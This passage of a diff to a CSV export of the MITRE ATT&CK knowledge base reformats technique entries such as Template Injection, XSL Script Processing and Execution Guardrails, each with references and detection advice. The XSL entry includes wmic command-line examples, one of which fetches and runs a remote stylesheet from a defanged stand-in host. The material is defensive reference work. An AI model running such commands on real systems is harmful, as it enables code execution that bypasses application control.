Technologies. Retrieved February 14, 2019.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)'}, {'source_name': 'AdSecurity Forging Trust Tickets', 'description': 'Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019.', 'url': 'https://adsecurity.org/?p=1588'}, {'source_name': 'Harmj0y Domain Trusts', 'description': 'Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.', 'url': 'http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/'}, {'source_name': 'Microsoft Operation Wilysupply', 'description': 'Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019.', 'url': 'https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/'}, {'source_name': 'Microsoft GetAllTrustRelationships', 'description': 'Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019.', 'url': 'https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Dave Westgard', 'Elia Florio, Microsoft', 'Mnemonic', 'RedHuntLabs, @redhuntlabs']","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'Script: Script Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships) -",,,,,False,,,['User'],['Windows'],,,,1.1 -2019-01-31 02:10:08.261000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019) +",False,['User'],['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-01-31T02:10:08.261Z,2021-06-09T18:53:58.471Z,Execution Guardrails,"Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019) -Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1480', external_id='T1480'), ExternalReference(source_name='FireEye Kevin Mandia Guardrails', description=""Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019."", url='https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/'), ExternalReference(source_name='FireEye Outlook Dec 2019', description='McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.', url='https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html')]",attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-06-24 18:52:12.956000+00:00,Execution Guardrails,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Nick Carr, FireEye']","['Process: Process Creation', 'Command: Command Execution']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection', 'Static file analysis']",,,,"Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.",,,,,False,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.1 -2018-10-17 00:14:20.652000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017) +Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1480', 'external_id': 'T1480'}, {'source_name': 'FireEye Kevin Mandia Guardrails', 'description': ""Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019."", 'url': 'https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/'}, {'source_name': 'FireEye Outlook Dec 2019', 'description': 'McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Nick Carr, Mandiant']","['Process: Process Creation', 'Command: Command Execution']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection', 'Static file analysis']","Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.",False,['User'],"['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2020-04-29T14:37:59.462Z,Template Injection,"Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017) Properties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded. Adversaries may abuse this technology to initially conceal malicious code to be executed via documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017) -This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1221', external_id='T1221'), ExternalReference(source_name='Microsoft Open XML July 2017', description='Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.', url='https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)'), ExternalReference(source_name='SANS Brian Wiltse Template Injection', description='Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019.', url='https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780'), ExternalReference(source_name='Redxorblue Remote Template Injection', description='Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.', url='http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html'), ExternalReference(source_name='MalwareBytes Template Injection OCT 2017', description='Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.', url='https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/'), ExternalReference(source_name='Anomali Template Injection MAR 2018', description='Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.', url='https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104'), ExternalReference(source_name='Talos Template Injection July 2017', description='Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.', url='https://blog.talosintelligence.com/2017/07/template-injection.html'), ExternalReference(source_name='ryhanson phishery SEPT 2016', description='Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.', url='https://github.com/ryhanson/phishery')]",attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-04-29 14:37:59.462000+00:00,Template Injection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Brian Wiltse @evalstrings', 'Patrick Campbell, @pjcampbe11']","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",['Static File Analysis'],,,,"Analyze process behavior to determine if an Office application is performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.",,,,,False,,,['User'],['Windows'],,,,1.2 -2018-10-17 00:14:20.652000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017) +This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1221', 'external_id': 'T1221'}, {'source_name': 'Microsoft Open XML July 2017', 'description': 'Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.', 'url': 'https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)'}, {'source_name': 'SANS Brian Wiltse Template Injection', 'description': 'Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780'}, {'source_name': 'Redxorblue Remote Template Injection', 'description': 'Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.', 'url': 'http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html'}, {'source_name': 'MalwareBytes Template Injection OCT 2017', 'description': 'Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/'}, {'source_name': 'Anomali Template Injection MAR 2018', 'description': 'Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.', 'url': 'https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104'}, {'source_name': 'Talos Template Injection July 2017', 'description': 'Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.', 'url': 'https://blog.talosintelligence.com/2017/07/template-injection.html'}, {'source_name': 'ryhanson phishery SEPT 2016', 'description': 'Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.', 'url': 'https://github.com/ryhanson/phishery'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Brian Wiltse @evalstrings', 'Patrick Campbell, @pjcampbe11']","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",['Static File Analysis'],"Analyze process behavior to determine if an Office application is performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.",False,['User'],['Windows'],1.2,,,,,,, +attack-pattern,attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2021-09-13T21:08:10.406Z,File and Directory Permissions Modification,"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). + +Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1222', 'external_id': 'T1222'}, {'source_name': 'Hybrid Analysis Icacls1 June 2018', 'description': 'Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.', 'url': 'https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100'}, {'source_name': 'Hybrid Analysis Icacls2 May 2018', 'description': 'Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.', 'url': 'https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110'}, {'source_name': 'EventTracker File Permissions Feb 2014', 'description': 'Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.', 'url': 'https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['CrowdStrike Falcon OverWatch', 'Jan Miller, CrowdStrike']","['Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Metadata']",['File system access controls'],"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. + +Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)",False,"['User', 'Administrator', 'SYSTEM', 'root']","['Linux', 'Windows', 'macOS']",2.1,,,,,,, +attack-pattern,attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2021-02-09T15:07:00.842Z,XSL Script Processing,"Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017) Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019) @@ -2809,15 +3044,18 @@ Another variation of this technique, dubbed “Squiblytwo”, involves using [Wi Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic) * Local File: wmic process list /FORMAT:evil[.]xsl -* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1220', external_id='T1220'), ExternalReference(source_name='Microsoft XSLT Script Mar 2017', description='Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using . Retrieved July 3, 2018.', url='https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script'), ExternalReference(source_name='Microsoft msxsl.exe', description='Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.', url='https://www.microsoft.com/download/details.aspx?id=21714'), ExternalReference(source_name='Penetration Testing Lab MSXSL July 2017', description='netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018.', url='https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/'), ExternalReference(source_name='Reaqta MSXSL Spearphishing MAR 2018', description='Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.', url='https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/'), ExternalReference(source_name='XSL Bypass Mar 2019', description='Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019.', url='https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75'), ExternalReference(source_name='LOLBAS Wmic', description='LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.', url='https://lolbas-project.github.io/lolbas/Binaries/Wmic/'), ExternalReference(source_name='Twitter SquiblyTwo Detection APR 2018', description='Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018.', url='https://twitter.com/dez_/status/986614411711442944')]",attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-02-09 15:07:00.842000+00:00,XSL Script Processing,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Avneet Singh', 'Casey Smith', 'Praetorian']","['Process: Process Creation', 'Module: Module Load']","['Anti-virus', 'Application control', 'Digital Certificate Validation']",,,,"Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. +* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1220', 'external_id': 'T1220'}, {'source_name': 'Microsoft XSLT Script Mar 2017', 'description': 'Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using . Retrieved July 3, 2018.', 'url': 'https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script'}, {'source_name': 'Microsoft msxsl.exe', 'description': 'Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.', 'url': 'https://www.microsoft.com/download/details.aspx?id=21714'}, {'source_name': 'Penetration Testing Lab MSXSL July 2017', 'description': 'netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018.', 'url': 'https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/'}, {'source_name': 'Reaqta MSXSL Spearphishing MAR 2018', 'description': 'Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.', 'url': 'https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/'}, {'source_name': 'XSL Bypass Mar 2019', 'description': 'Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019.', 'url': 'https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75'}, {'source_name': 'LOLBAS Wmic', 'description': 'LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Wmic/'}, {'source_name': 'Twitter SquiblyTwo Detection APR 2018', 'description': 'Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018.', 'url': 'https://twitter.com/dez_/status/986614411711442944'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Avneet Singh', 'Casey Smith', 'Praetorian']","['Process: Process Creation', 'Module: Module Load']","['Anti-virus', 'Application control', 'Digital Certificate Validation']","Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. -The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.",,,,,False,,,['User'],['Windows'],,['Microsoft Core XML Services (MSXML) or access to wmic.exe'],,1.2 -2018-10-17 00:14:20.652000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). +The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.",False,['User'],['Windows'],1.2,,['Microsoft Core XML Services (MSXML) or access to wmic.exe'],,,,, +attack-pattern,attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2020-03-26T16:06:07.367Z,Browser Bookmark Discovery,"Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. + +Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser. -Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1222', external_id='T1222'), ExternalReference(source_name='Hybrid Analysis Icacls1 June 2018', description='Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.', url='https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100'), ExternalReference(source_name='Hybrid Analysis Icacls2 May 2018', description='Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.', url='https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110'), ExternalReference(source_name='EventTracker File Permissions Feb 2014', description='Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.', url='https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/')]",attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-09-01 20:05:05.562000+00:00,File and Directory Permissions Modification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['CrowdStrike Falcon OverWatch', 'Jan Miller, CrowdStrike']","['Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Metadata']",['File system access controls'],,,,"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. +Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1217', 'external_id': 'T1217'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Mike Kemmerer'],"['Process: Process Creation', 'Command: Command Execution', 'File: File Access']",,"Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). -Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)",,,,,False,,,"['User', 'Administrator', 'SYSTEM', 'root']","['Linux', 'Windows', 'macOS']",,,,2.1 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001). +System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.",False,['User'],"['Linux', 'Windows', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2020-03-25T18:51:01.070Z,Exploitation for Credential Access,"Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming 